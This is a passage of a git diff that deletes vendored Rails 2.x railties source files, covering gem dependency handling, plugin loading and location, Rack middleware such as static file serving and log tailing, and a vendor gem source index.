-require 'rubygems/installer'
-
-module Rails
-  
-  # this class hijacks the functionality of Gem::Installer by overloading its 
-  # initializer to only provide the information needed by 
-  # Gem::Installer#build_extensions (which happens to be what we have)
-  class GemBuilder < Gem::Installer
-
-    def initialize(spec, gem_dir)
-      @spec    = spec
-      @gem_dir = gem_dir
-    end
-
-    # silence the underlying builder
-    def say(message)
-    end
-
-  end
-end
diff --git a/vendor/rails/railties/lib/rails/gem_dependency.rb b/vendor/rails/railties/lib/rails/gem_dependency.rb
deleted file mode 100644
index 1ff608a8..00000000
--- a/vendor/rails/railties/lib/rails/gem_dependency.rb
+++ /dev/null
@@ -1,317 +0,0 @@
-require 'rails/vendor_gem_source_index'
-
-module Gem
-  def self.source_index=(index)
-    @@source_index = index
-  end
-end
-
-module Rails
-  class GemDependency < Gem::Dependency
-    attr_accessor :lib, :source, :dep
-
-    def self.unpacked_path
-      @unpacked_path ||= File.join(RAILS_ROOT, 'vendor', 'gems')
-    end
-
-    @@framework_gems = {}
-
-    def self.add_frozen_gem_path
-      @@paths_loaded ||= begin
-        source_index = Rails::VendorGemSourceIndex.new(Gem.source_index)
-        Gem.clear_paths
-        Gem.source_index = source_index
-        # loaded before us - we can't change them, so mark them
-        Gem.loaded_specs.each do |name, spec|
-          @@framework_gems[name] = spec
-        end
-        true
-      end
-    end
-
-    def self.from_directory_name(directory_name, load_spec=true)
-      directory_name_parts = File.basename(directory_name).split('-')
-      
-      version = directory_name_parts.find { |s| s.match(/^\d(\.\d|\.\w+)*$/) }
-      name    = directory_name_parts[0..directory_name_parts.index(version)-1].join('-') if version
-      
-      result = self.new(name, :version => version)
-      spec_filename = File.join(directory_name, '.specification')
-      if load_spec
-        raise "Missing specification file in #{File.dirname(spec_filename)}. Perhaps you need to do a 'rake gems:refresh_specs'\?" unless File.exists?(spec_filename)
-        spec = YAML::load_file(spec_filename)
-        result.specification = spec
-      end
-      result
-    rescue ArgumentError => e
-      raise "Unable to determine gem name and version from '#{directory_name}'"
-    end
-
-    def initialize(name, options = {})
-      require 'rubygems' unless Object.const_defined?(:Gem)
-
-      if options[:requirement]
-        req = options[:requirement]
-      elsif options[:version]
-        req = Gem::Requirement.create(options[:version])
-      else
-        req = Gem::Requirement.default
-      end
-
-      @lib      = options[:lib]
-      @source   = options[:source]
-      @loaded   = @frozen = @load_paths_added = false
-
-      super(name, req)
-    end
-
-    def add_load_paths
-      self.class.add_frozen_gem_path
-      return if @loaded || @load_paths_added
-      if framework_gem?
-        @load_paths_added = @loaded = @frozen = true
-        return
-      end
-
-      begin
-        dep = Gem::Dependency.new(name, requirement)
-        spec = Gem.source_index.find { |_,s| s.satisfies_requirement?(dep) }.last
-        spec.activate           # a way that exists
-      rescue
-        gem self.name, self.requirement # <  1.8 unhappy way
-      end
-
-      @spec = Gem.loaded_specs[name]
-      @frozen = @spec.loaded_from.include?(self.class.unpacked_path) if @spec
-      @load_paths_added = true
-    rescue Gem::LoadError
-    end
-
-    def dependencies
-      return [] if framework_gem?
-      return [] unless installed?
-      specification.dependencies.reject do |dependency|
-        dependency.type == :development
-      end.map do |dependency|
-        GemDependency.new(dependency.name, :requirement => (dependency.respond_to?(:requirement) ? dependency.requirement : dependency.version_requirements))
-      end
-    end
-
-    def specification
-      # code repeated from Gem.activate. Find a matching spec, or the currently loaded version.
-      # error out if loaded version and requested version are incompatible.
-      @spec ||= begin
-        matches = Gem.source_index.search(self)
-        matches << @@framework_gems[name] if framework_gem?
-        if Gem.loaded_specs[name] then
-          # This gem is already loaded.  If the currently loaded gem is not in the
-          # list of candidate gems, then we have a version conflict.
-          existing_spec = Gem.loaded_specs[name]
-          unless matches.any? { |spec| spec.version == existing_spec.version } then
-            raise Gem::Exception,
-                  "can't activate #{@dep}, already activated #{existing_spec.full_name}"
-          end
-          # we're stuck with it, so change to match
-          version_requirements = Gem::Requirement.create("=#{existing_spec.version}")
-          existing_spec
-        else
-          # new load
-          matches.last
-        end
-      end
-    end
-
-    def specification=(s)
-      @spec = s
-    end
-
-    def built?
-      return false unless frozen?
-
-      if vendor_gem?
-        specification.extensions.each do |ext|
-          makefile = File.join(unpacked_gem_directory, File.dirname(ext), 'Makefile')
-          return false unless File.exists?(makefile)
-        end
-      end
-
-      true
-    end
-
-    def framework_gem?
-      @@framework_gems.has_key?(name)
-    end
-
-    def frozen?
-      @frozen ||= vendor_rails? || vendor_gem?
-    end
-
-    def installed?
-      Gem.loaded_specs.keys.include?(name)
-    end
-
-    def load_paths_added?
-      # always try to add load paths - even if a gem is loaded, it may not
-      # be a compatible version (ie random_gem 0.4 is loaded and a later spec
-      # needs >= 0.5 - gem 'random_gem' will catch this and error out)
-      @load_paths_added
-    end
-
-    def loaded?
-      @loaded ||= begin
-        if vendor_rails?
-          true
-        elsif specification.nil?
-          false
-        else
-          # check if the gem is loaded by inspecting $"
-          # specification.files lists all the files contained in the gem
-          gem_files = specification.files
-          # select only the files contained in require_paths - typically in bin and lib
-          require_paths_regexp = Regexp.new("^(#{specification.require_paths*'|'})/")
-          gem_lib_files = gem_files.select { |f| require_paths_regexp.match(f) }
-          # chop the leading directory off - a typical file might be in
-          # lib/gem_name/file_name.rb, but it will be 'require'd as gem_name/file_name.rb
-          gem_lib_files.map! { |f| f.split('/', 2)[1] }
-          # if any of the files from the above list appear in $", the gem is assumed to
-          # have been loaded
-          !(gem_lib_files & $").empty?
-        end
-      end
-    end
-
-    def vendor_rails?
-      Gem.loaded_specs.has_key?(name) && Gem.loaded_specs[name].loaded_from.empty?
-    end
-
-    def vendor_gem?
-      specification && File.exists?(unpacked_gem_directory)
-    end
-
-    def build(options={})
-      require 'rails/gem_builder'
-      return if specification.nil?
-      if options[:force] || !built?
-        return unless File.exists?(unpacked_specification_filename)
-        spec = YAML::load_file(unpacked_specification_filename)
-        Rails::GemBuilder.new(spec, unpacked_gem_directory).build_extensions
-        puts "Built gem: '#{unpacked_gem_directory}'"
-      end
-      dependencies.each { |dep| dep.build(options) }
-    end
-
-    def install
-      unless installed?
-        cmd = "#{gem_command} #{install_command.join(' ')}"
-        puts cmd
-        puts %x(#{cmd})
-      end
-    end
-
-    def load
-      return if @loaded || @load_paths_added == false
-      require(@lib || name) unless @lib == false
-      @loaded = true
-    rescue LoadError
-      puts $!.to_s
-      $!.backtrace.each { |b| puts b }
-    end
-
-    def refresh
-      Rails::VendorGemSourceIndex.silence_spec_warnings = true
-      real_gems = Gem.source_index.installed_source_index
-      exact_dep = Gem::Dependency.new(name, "= #{specification.version}")
-      matches = real_gems.search(exact_dep)
-      installed_spec = matches.first
-      if frozen?
-        if installed_spec
-          # we have a real copy
-          # get a fresh spec - matches should only have one element
-          # note that there is no reliable method to check that the loaded
-          # spec is the same as the copy from real_gems - Gem.activate changes
-          # some of the fields
-          real_spec = Gem::Specification.load(matches.first.loaded_from)
-          write_specification(real_spec)
-          puts "Reloaded specification for #{name} from installed gems."
-        else
-          # the gem isn't installed locally - write out our current specs
-          write_specification(specification)
-          puts "Gem #{name} not loaded locally - writing out current spec."
-        end
-      else
-        if framework_gem?
-          puts "Gem directory for #{name} not found - check if it's loading before rails."
-        else
-          puts "Something bad is going on - gem directory not found for #{name}."
-        end
-      end
-    end
-
-    def unpack(options={})
-      unless frozen? || framework_gem?
-        FileUtils.mkdir_p unpack_base
-        Dir.chdir unpack_base do
-          Gem::GemRunner.new.run(unpack_command)
-        end
-        # Gem.activate changes the spec - get the original
-        real_spec = Gem::Specification.load(specification.loaded_from)
-        write_specification(real_spec)
-      end
-      dependencies.each { |dep| dep.unpack(options) } if options[:recursive]
-    end
-
-    def write_specification(spec)
-      # copy the gem's specification into GEMDIR/.specification so that
-      # we can access information about the gem on deployment systems
-      # without having the gem installed
-      File.open(unpacked_specification_filename, 'w') do |file|
-        file.puts spec.to_yaml
-      end
-    end
-
-    def ==(other)
-      Gem::Dependency === other.class &&
-        self.name == other.name && self.requirement == other.requirement
-    end
-    alias_method :eql?, :"=="
-
-    private
-
-      def gem_command
-        case RUBY_PLATFORM
-          when /win32/
-            'gem.bat'
-          when /java/
-            'jruby -S gem'
-          else
-            'gem'
-        end
-      end
-
-      def install_command
-        cmd = %w(install) << name
-        cmd << "--version" << %("#{requirement.to_s}") if requirement
-        cmd << "--source"  << @source  if @source
-        cmd
-      end
-
-      def unpack_command
-        cmd = %w(unpack) << name
-        cmd << "--version" << "= "+specification.version.to_s if requirement
-        cmd
-      end
-
-      def unpack_base
-        Rails::GemDependency.unpacked_path
-      end
-
-      def unpacked_gem_directory
-        File.join(unpack_base, specification.full_name)
-      end
-
-      def unpacked_specification_filename
-        File.join(unpacked_gem_directory, '.specification')
-      end
-
-  end
-end
diff --git a/vendor/rails/railties/lib/rails/plugin.rb b/vendor/rails/railties/lib/rails/plugin.rb
deleted file mode 100644
index 52912577..00000000
--- a/vendor/rails/railties/lib/rails/plugin.rb
+++ /dev/null
@@ -1,179 +0,0 @@
-module Rails
-  # The Plugin class should be an object which provides the following methods:
-  #
-  # * +name+       - Used during initialisation to order the plugin (based on name and
-  #                  the contents of <tt>config.plugins</tt>).
-  # * +valid?+     - Returns true if this plugin can be loaded.
-  # * +load_paths+ - Each path within the returned array will be added to the <tt>$LOAD_PATH</tt>.
-  # * +load+       - Finally 'load' the plugin.
-  #
-  # These methods are expected by the Rails::Plugin::Locator and Rails::Plugin::Loader classes.
-  # The default implementation returns the <tt>lib</tt> directory as its <tt>load_paths</tt>, 
-  # and evaluates <tt>init.rb</tt> when <tt>load</tt> is called.
-  #
-  # You can also inspect the about.yml data programmatically:
-  #
-  #   plugin = Rails::Plugin.new(path_to_my_plugin)
-  #   plugin.about["author"] # => "James Adam"
-  #   plugin.about["url"] # => "http://interblah.net"
-  class Plugin
-    include Comparable
-    
-    attr_reader :directory, :name
-    
-    def initialize(directory)
-      @directory = directory
-      @name      = File.basename(@directory) rescue nil
-      @loaded    = false
-    end
-    
-    def valid?
-      File.directory?(directory) && (has_app_directory? || has_lib_directory? || has_init_file?)
-    end
-  
-    # Returns a list of paths this plugin wishes to make available in <tt>$LOAD_PATH</tt>.
-    def load_paths
-      report_nonexistant_or_empty_plugin! unless valid?
-      
-      [].tap do |load_paths|
-        load_paths << lib_path  if has_lib_directory?
-        load_paths << app_paths if has_app_directory?
-      end.flatten
-    end
-    
-    # Evaluates a plugin's init.rb file.
-    def load(initializer)
-      return if loaded?
-      report_nonexistant_or_empty_plugin! unless valid?
-      evaluate_init_rb(initializer)
-      @loaded = true
-    end
-    
-    def loaded?
-      @loaded
-    end
-    
-    def <=>(other_plugin)
-      name <=> other_plugin.name
-    end
-
-    def about
-      @about ||= load_about_information
-    end
-
-    # Engines are plugins with an app/ directory.
-    def engine?
-      has_app_directory?
-    end
-    
-    # Returns true if the engine ships with a routing file
-    def routed?
-      File.exist?(routing_file)
-    end
-
-    # Returns true if there is any localization file in locale_path
-    def localized?
-      locale_files.any?
-    end
-
-    def view_path
-      File.join(directory, 'app', 'views')
-    end
-
-    def controller_path
-      File.join(directory, 'app', 'controllers')
-    end
-
-    def metal_path
-      File.join(directory, 'app', 'metal')
-    end
-
-    def routing_file
-      File.join(directory, 'config', 'routes.rb')
-    end
-
-    def locale_path
-      File.join(directory, 'config', 'locales')
-    end
-
-    def locale_files
-      Dir[ File.join(locale_path, '*.{rb,yml}') ]
-    end
-    
-
-    private
-      def load_about_information
-        about_yml_path = File.join(@directory, "about.yml")
-        parsed_yml = File.exist?(about_yml_path) ? YAML.load(File.read(about_yml_path)) : {}
-        parsed_yml || {}
-      rescue Exception
-        {}
-      end
-
-      def report_nonexistant_or_empty_plugin!
-        raise LoadError, "Can not find the plugin named: #{name}"
-      end
-
-      
-      def app_paths
-        [ File.join(directory, 'app', 'models'), File.join(directory, 'app', 'helpers'), controller_path, metal_path ]
-      end
-      
-      def lib_path
-        File.join(directory, 'lib')
-      end
-
-      def classic_init_path
-        File.join(directory, 'init.rb')
-      end
-
-      def gem_init_path
-        File.join(directory, 'rails', 'init.rb')
-      end
-
-      def init_path
-        File.file?(gem_init_path) ? gem_init_path : classic_init_path
-      end
-
-
-      def has_app_directory?
-        File.directory?(File.join(directory, 'app'))
-      end
-
-      def has_lib_directory?
-        File.directory?(lib_path)
-      end
-
-      def has_init_file?
-        File.file?(init_path)
-      end
-
-
-      def evaluate_init_rb(initializer)
-        if has_init_file?
-          silence_warnings do
-            # Allow plugins to reference the current configuration object
-            config = initializer.configuration
-            
-            eval(IO.read(init_path), binding, init_path)
-          end
-        end
-      end               
-  end
-
-  # This Plugin subclass represents a Gem plugin. Although RubyGems has already
-  # taken care of $LOAD_PATHs, it exposes its load_paths to add them
-  # to Dependencies.load_paths.
-  class GemPlugin < Plugin
-    # Initialize this plugin from a Gem::Specification.
-    def initialize(spec, gem)
-      directory = spec.full_gem_path
-      super(directory)
-      @name = spec.name
-    end
-
-    def init_path
-      File.join(directory, 'rails', 'init.rb')
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails/plugin/loader.rb b/vendor/rails/railties/lib/rails/plugin/loader.rb
deleted file mode 100644
index a9754426..00000000
--- a/vendor/rails/railties/lib/rails/plugin/loader.rb
+++ /dev/null
@@ -1,198 +0,0 @@
-require "rails/plugin"
-
-module Rails
-  class Plugin
-    class Loader
-      attr_reader :initializer
-
-      # Creates a new Plugin::Loader instance, associated with the given
-      # Rails::Initializer. This default implementation automatically locates
-      # all plugins, and adds all plugin load paths, when it is created. The plugins
-      # are then fully loaded (init.rb is evaluated) when load_plugins is called.
-      #
-      # It is the loader's responsibility to ensure that only the plugins specified
-      # in the configuration are actually loaded, and that the order defined
-      # is respected.
-      def initialize(initializer)
-        @initializer = initializer
-      end
-
-      # Returns the plugins to be loaded, in the order they should be loaded.
-      def plugins
-        @plugins ||= all_plugins.select { |plugin| should_load?(plugin) }.sort { |p1, p2| order_plugins(p1, p2) }
-      end
-
-      # Returns the plugins that are in engine-form (have an app/ directory)
-      def engines
-        @engines ||= plugins.select(&:engine?)
-      end
-
-      # Returns all the plugins that could be found by the current locators.
-      def all_plugins
-        @all_plugins ||= locate_plugins
-        @all_plugins
-      end
-
-      def load_plugins
-        plugins.each do |plugin|
-          plugin.load(initializer)
-          register_plugin_as_loaded(plugin)
-        end
-
-        configure_engines
-
-        ensure_all_registered_plugins_are_loaded!
-      end
-
-      # Adds the load paths for every plugin into the $LOAD_PATH. Plugin load paths are
-      # added *after* the application's <tt>lib</tt> directory, to ensure that an application
-      # can always override code within a plugin.
-      #
-      # Plugin load paths are also added to Dependencies.autoload_paths, and Dependencies.autoload_once_paths.
-      def add_plugin_load_paths
-        plugins.each do |plugin|
-          plugin.load_paths.each do |path|
-            $LOAD_PATH.insert(application_lib_index + 1, path)
-
-            ActiveSupport::Dependencies.autoload_paths << path
-
-            unless configuration.reload_plugins?
-              ActiveSupport::Dependencies.autoload_once_paths << path
-            end
-          end
-        end
-
-        $LOAD_PATH.uniq!
-      end
-
-      def engine_metal_paths
-        engines.collect(&:metal_path)
-      end
-
-      protected
-        def configure_engines
-          if engines.any?
-            add_engine_routing_configurations
-            add_engine_locales
-            add_engine_controller_paths
-            add_engine_view_paths
-          end
-        end
-
-        def add_engine_routing_configurations
-          engines.select(&:routed?).collect(&:routing_file).each do |routing_file|
-            ActionController::Routing::Routes.add_configuration_file(routing_file)
-          end
-        end
-
-        def add_engine_locales
-          # reverse it such that the last engine can overwrite translations from the first, like with routes
-          locale_files = engines.select(&:localized?).collect(&:locale_files).reverse.flatten
-          I18n.load_path += locale_files - I18n.load_path
-        end
-
-        def add_engine_controller_paths
-          ActionController::Routing.controller_paths += engines.collect(&:controller_path)
-        end
-
-        def add_engine_view_paths
-          # reverse it such that the last engine can overwrite view paths from the first, like with routes
-          paths = ActionView::PathSet.new(engines.collect(&:view_path).reverse)
-          ActionController::Base.view_paths.concat(paths)
-          ActionMailer::Base.view_paths.concat(paths) if configuration.frameworks.include?(:action_mailer)
-        end
-
-        # The locate_plugins method uses each class in config.plugin_locators to
-        # find the set of all plugins available to this Rails application.
-        def locate_plugins
-          configuration.plugin_locators.map do |locator|
-            locator.new(initializer).plugins
-          end.flatten
-          # TODO: sorting based on config.plugins
-        end
-
-        def register_plugin_as_loaded(plugin)
-          initializer.loaded_plugins << plugin
-        end
-
-        def configuration
-          initializer.configuration
-        end
-
-        def should_load?(plugin)
-          # uses Plugin#name and Plugin#valid?
-          enabled?(plugin) && plugin.valid?
-        end
-
-        def order_plugins(plugin_a, plugin_b)
-          if !explicit_plugin_loading_order?
-            plugin_a <=> plugin_b
-          else
-            if !explicitly_enabled?(plugin_a) && !explicitly_enabled?(plugin_b)
-              plugin_a <=> plugin_b
-            else
-              effective_order_of(plugin_a) <=> effective_order_of(plugin_b)
-            end
-          end
-        end
-
-        def effective_order_of(plugin)
-          if explicitly_enabled?(plugin)
-            registered_plugin_names.index(plugin.name)
-          else
-            registered_plugin_names.index('all')
-          end
-        end
-
-        def application_lib_index
-          $LOAD_PATH.index(File.join(RAILS_ROOT, 'lib')) || 0
-        end
-
-        def enabled?(plugin)
-          !explicit_plugin_loading_order? || registered?(plugin)
-        end
-
-        def explicit_plugin_loading_order?
-          !registered_plugin_names.nil?
-        end
-
-        def registered?(plugin)
-          explicit_plugin_loading_order? && registered_plugins_names_plugin?(plugin)
-        end
-
-        def explicitly_enabled?(plugin)
-          !explicit_plugin_loading_order? || explicitly_registered?(plugin)
-        end
-
-        def explicitly_registered?(plugin)
-          explicit_plugin_loading_order? && registered_plugin_names.include?(plugin.name)
-        end
-
-        def registered_plugins_names_plugin?(plugin)
-          registered_plugin_names.include?(plugin.name) || registered_plugin_names.include?('all')
-        end
-
-        # The plugins that have been explicitly listed with config.plugins. If this list is nil
-        # then it means the client does not care which plugins or in what order they are loaded,
-        # so we load all in alphabetical order. If it is an empty array, we load no plugins, if it is
-        # non empty, we load the named plugins in the order specified.
-        def registered_plugin_names
-          configuration.plugins ? configuration.plugins.map(&:to_s) : nil
-        end
-
-        def loaded?(plugin_name)
-          initializer.loaded_plugins.detect { |plugin| plugin.name == plugin_name.to_s }
-        end
-
-        def ensure_all_registered_plugins_are_loaded!
-          if explicit_plugin_loading_order?
-            if configuration.plugins.detect {|plugin| plugin != :all && !loaded?(plugin) }
-              missing_plugins = configuration.plugins - (plugins.map{|p| p.name.to_sym} + [:all])
-              raise LoadError, "Could not locate the following plugins: #{missing_plugins.to_sentence(:locale => :en)}"
-            end
-          end
-        end
-
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails/plugin/locator.rb b/vendor/rails/railties/lib/rails/plugin/locator.rb
deleted file mode 100644
index a6fc388a..00000000
--- a/vendor/rails/railties/lib/rails/plugin/locator.rb
+++ /dev/null
@@ -1,100 +0,0 @@
-module Rails
-  class Plugin
-    
-    # The Plugin::Locator class should be subclasses to provide custom plugin-finding
-    # abilities to Rails (i.e. loading plugins from Gems, etc). Each subclass should implement
-    # the <tt>located_plugins</tt> method, which return an array of Plugin objects that have been found.
-    class Locator
-      include Enumerable
-      
-      attr_reader :initializer
-      
-      def initialize(initializer)
-        @initializer = initializer
-      end
-      
-      # This method should return all the plugins which this Plugin::Locator can find
-      # These will then be used by the current Plugin::Loader, which is responsible for actually
-      # loading the plugins themselves
-      def plugins
-        raise "The `plugins' method must be defined by concrete subclasses of #{self.class}"
-      end
-      
-      def each(&block)
-        plugins.each(&block)
-      end
-      
-      def plugin_names
-        plugins.map(&:name)
-      end
-    end
-    
-    # The Rails::Plugin::FileSystemLocator will try to locate plugins by examining the directories
-    # in the paths given in configuration.plugin_paths. Any plugins that can be found are returned
-    # in a list. 
-    #
-    # The criteria for a valid plugin in this case is found in Rails::Plugin#valid?, although
-    # other subclasses of Rails::Plugin::Locator can of course use different conditions.
-    class FileSystemLocator < Locator
-      
-      # Returns all the plugins which can be loaded in the filesystem, under the paths given
-      # by configuration.plugin_paths.
-      def plugins
-        initializer.configuration.plugin_paths.flatten.inject([]) do |plugins, path|
-          plugins.concat locate_plugins_under(path)
-          plugins
-        end.flatten
-      end
-          
-      private
-      
-        # Attempts to create a plugin from the given path. If the created plugin is valid?
-        # (see Rails::Plugin#valid?) then the plugin instance is returned; otherwise nil.
-        def create_plugin(path)
-          plugin = Rails::Plugin.new(path)
-          plugin.valid? ? plugin : nil
-        end
-
-        # This starts at the base path looking for valid plugins (see Rails::Plugin#valid?).
-        # Since plugins can be nested arbitrarily deep within an unspecified number of intermediary 
-        # directories, this method runs recursively until it finds a plugin directory, e.g.
-        #
-        #     locate_plugins_under('vendor/plugins/acts/acts_as_chunky_bacon')
-        #     => <Rails::Plugin name: 'acts_as_chunky_bacon' ... >
-        #
-        def locate_plugins_under(base_path)
-           Dir.glob(File.join(base_path, '*')).sort.inject([]) do |plugins, path|
-            if plugin = create_plugin(path)
-              plugins << plugin
-            elsif File.directory?(path)
-              plugins.concat locate_plugins_under(path)
-            end
-            plugins
-          end
-        end
-    end
-
-    # The GemLocator scans all the loaded RubyGems, looking for gems with
-    # a <tt>rails/init.rb</tt> file.
-    class GemLocator < Locator
-      def plugins
-        gem_index = initializer.configuration.gems.inject({}) { |memo, gem| memo.update gem.specification => gem }
-        specs     = gem_index.keys
-        specs    += Gem.loaded_specs.values.select do |spec|
-          spec.loaded_from && # prune stubs
-            File.exist?(File.join(spec.full_gem_path, "rails", "init.rb"))
-        end
-        specs.compact!
-
-        require "rubygems/dependency_list"
-
-        deps = Gem::DependencyList.new
-        deps.add(*specs) unless specs.empty?
-
-        deps.dependency_order.collect do |spec|
-          Rails::GemPlugin.new(spec, gem_index[spec])
-        end
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/rails/rack.rb b/vendor/rails/railties/lib/rails/rack.rb
deleted file mode 100644
index 9705f65e..00000000
--- a/vendor/rails/railties/lib/rails/rack.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-module Rails
-  module Rack
-    autoload :Debugger, "rails/rack/debugger"
-    autoload :LogTailer, "rails/rack/log_tailer"
-    autoload :Metal, "rails/rack/metal"
-    autoload :Static, "rails/rack/static"
-  end
-end
diff --git a/vendor/rails/railties/lib/rails/rack/debugger.rb b/vendor/rails/railties/lib/rails/rack/debugger.rb
deleted file mode 100644
index 0a7b4055..00000000
--- a/vendor/rails/railties/lib/rails/rack/debugger.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-module Rails
-  module Rack
-    class Debugger
-      def initialize(app)
-        @app = app
-
-        ARGV.clear # clear ARGV so that script/server options aren't passed to IRB
-
-        require_library_or_gem 'ruby-debug'
-        ::Debugger.start
-        ::Debugger.settings[:autoeval] = true if ::Debugger.respond_to?(:settings)
-        puts "=> Debugger enabled"
-      rescue Exception
-        puts "You need to install ruby-debug to run the server in debugging mode. With gems, use 'gem install ruby-debug'"
-        exit
-      end
-
-      def call(env)
-        @app.call(env)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails/rack/log_tailer.rb b/vendor/rails/railties/lib/rails/rack/log_tailer.rb
deleted file mode 100644
index a237cee6..00000000
--- a/vendor/rails/railties/lib/rails/rack/log_tailer.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-module Rails
-  module Rack
-    class LogTailer
-      EnvironmentLog = "#{File.expand_path(Rails.root)}/log/#{Rails.env}.log"
-
-      def initialize(app, log = nil)
-        @app = app
-
-        path = Pathname.new(log || EnvironmentLog).cleanpath
-        @cursor = ::File.size(path)
-        @last_checked = Time.now.to_f
-
-        @file = ::File.open(path, 'r')
-      end
-
-      def call(env)
-        response = @app.call(env)
-        tail_log
-        response
-      end
-
-      def tail_log
-        @file.seek @cursor
-
-        mod = @file.mtime.to_f
-        if mod > @last_checked
-          contents = @file.read
-          @last_checked = mod
-          @cursor += contents.size
-          $stdout.print contents
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails/rack/metal.rb b/vendor/rails/railties/lib/rails/rack/metal.rb
deleted file mode 100644
index 8719a5c5..00000000
--- a/vendor/rails/railties/lib/rails/rack/metal.rb
+++ /dev/null
@@ -1,51 +0,0 @@
-require 'active_support/ordered_hash'
-
-module Rails
-  module Rack
-    class Metal
-      NotFoundResponse = [404, {}, []].freeze
-      NotFound = lambda { NotFoundResponse }
-
-      cattr_accessor :metal_paths
-      self.metal_paths = ["#{Rails.root}/app/metal"]
-      cattr_accessor :requested_metals
-
-      def self.metals
-        matcher = /#{Regexp.escape('/app/metal/')}(.*)\.rb\Z/
-        metal_glob = metal_paths.map{ |base| "#{base}/**/*.rb" }
-        all_metals = {}
-
-        metal_glob.each do |glob|
-          Dir[glob].sort.map do |file|
-            file = file.match(matcher)[1]
-            all_metals[file.camelize] = file
-          end
-        end
-
-        load_list = requested_metals || all_metals.keys
-
-        load_list.map do |requested_metal|
-          if metal = all_metals[requested_metal]
-            require_dependency metal
-            requested_metal.constantize
-          end
-        end.compact
-      end
-
-      def initialize(app)
-        @app = app
-        @metals = ActiveSupport::OrderedHash.new
-        self.class.metals.each { |app| @metals[app] = true }
-        freeze
-      end
-
-      def call(env)
-        @metals.keys.each do |app|
-          result = app.call(env)
-          return result unless result[0].to_i == 404
-        end
-        @app.call(env)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails/rack/static.rb b/vendor/rails/railties/lib/rails/rack/static.rb
deleted file mode 100644
index f07c6beb..00000000
--- a/vendor/rails/railties/lib/rails/rack/static.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-require 'rack/utils'
-
-module Rails
-  module Rack
-    class Static
-      FILE_METHODS = %w(GET HEAD).freeze
-
-      def initialize(app)
-        @app = app
-        @file_server = ::Rack::File.new(File.join(RAILS_ROOT, "public"))
-      end
-
-      def call(env)
-        path        = env['PATH_INFO'].chomp('/')
-        method      = env['REQUEST_METHOD']
-
-        if FILE_METHODS.include?(method)
-          if file_exist?(path)
-            return @file_server.call(env)
-          else
-            cached_path = directory_exist?(path) ? "#{path}/index" : path
-            cached_path += ::ActionController::Base.page_cache_extension
-
-            if file_exist?(cached_path)
-              env['PATH_INFO'] = cached_path
-              return @file_server.call(env)
-            end
-          end
-        end
-
-        @app.call(env)
-      end
-
-      private
-        def file_exist?(path)
-          full_path = File.join(@file_server.root, ::Rack::Utils.unescape(path))
-          File.file?(full_path) && File.readable?(full_path)
-        end
-
-        def directory_exist?(path)
-          full_path = File.join(@file_server.root, ::Rack::Utils.unescape(path))
-          File.directory?(full_path) && File.readable?(full_path)
-        end
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails/vendor_gem_source_index.rb b/vendor/rails/railties/lib/rails/vendor_gem_source_index.rb
deleted file mode 100644
index 9324de98..00000000
--- a/vendor/rails/railties/lib/rails/vendor_gem_source_index.rb
+++ /dev/null
@@ -1,140 +0,0 @@
-require 'rubygems'
-require 'yaml'
-
-module Rails
-
-  class VendorGemSourceIndex
-    # VendorGemSourceIndex acts as a proxy for the Gem source index, allowing
-    # gems to be loaded from vendor/gems. Rather than the standard gem repository format,
-    # vendor/gems contains unpacked gems, with YAML specifications in .specification in
-    # each gem directory.
-    include Enumerable
-
-    attr_reader :installed_source_index
-    attr_reader :vendor_source_index
-
-    @@silence_spec_warnings = false
-
-    def self.silence_spec_warnings
-      @@silence_spec_warnings
-    end
-
-    def self.silence_spec_warnings=(v)
-      @@silence_spec_warnings = v
-    end
-
-    def initialize(installed_index, vendor_dir=Rails::GemDependency.unpacked_path)
-      @installed_source_index = installed_index
-      @vendor_dir = vendor_dir
-      refresh!
-    end
-
-    def refresh!
-      # reload the installed gems
-      # HACK: I don't think this is needed: @installed_source_index.refresh!
-      vendor_gems = {}
-
-      # handle vendor Rails gems - they are identified by having loaded_from set to ""
-      # we add them manually to the list, so that other gems can find them via dependencies
-      Gem.loaded_specs.each do |n, s|
-        next unless s.loaded_from.to_s.empty?
-        vendor_gems[s.full_name] = s
-      end
-
-      # load specifications from vendor/gems
-      Dir[File.join(Rails::GemDependency.unpacked_path, '*')].each do |d|
-        dir_name = File.basename(d)
-        dir_version = version_for_dir(dir_name)
-        spec = load_specification(d)
-        if spec
-          if spec.full_name != dir_name
-            # mismatched directory name and gem spec - produced by 2.1.0-era unpack code
-            if dir_version
-              # fix the spec version - this is not optimal (spec.files may be wrong)
-              # but it's better than breaking apps. Complain to remind users to get correct specs.
-              # use ActiveSupport::Deprecation.warn, as the logger is not set yet
-              $stderr.puts("config.gem: Unpacked gem #{dir_name} in vendor/gems has a mismatched specification file."+
-                           " Run 'rake gems:refresh_specs' to fix this.") unless @@silence_spec_warnings
-              spec.version = dir_version
-            else
-              $stderr.puts("config.gem: Unpacked gem #{dir_name} in vendor/gems is not in a versioned directory"+
-                           "(should be #{spec.full_name}).") unless @@silence_spec_warnings
-              # continue, assume everything is OK
-            end
-          end
-        else
-          # no spec - produced by early-2008 unpack code
-          # emulate old behavior, and complain.
-          $stderr.puts("config.gem: Unpacked gem #{dir_name} in vendor/gems has no specification file."+
-                       " Run 'rake gems:refresh_specs' to fix this.") unless @@silence_spec_warnings
-          if dir_version
-            spec = Gem::Specification.new
-            spec.version = dir_version
-            spec.require_paths = ['lib']
-            ext_path = File.join(d, 'ext')
-            spec.require_paths << 'ext' if File.exist?(ext_path)
-            spec.name = /^(.*)-[^-]+$/.match(dir_name)[1]
-            files = ['lib']
-            # set files to everything in lib/
-            files += Dir[File.join(d, 'lib', '*')].map { |v| v.gsub(/^#{d}\//, '') }
-            files += Dir[File.join(d, 'ext', '*')].map { |v| v.gsub(/^#{d}\//, '') } if ext_path
-            spec.files = files
-          else
-            $stderr.puts("config.gem: Unpacked gem #{dir_name} in vendor/gems not in a versioned directory."+
-                         " Giving up.") unless @@silence_spec_warnings
-            next
-          end
-        end
-        spec.loaded_from = File.join(d, '.specification')
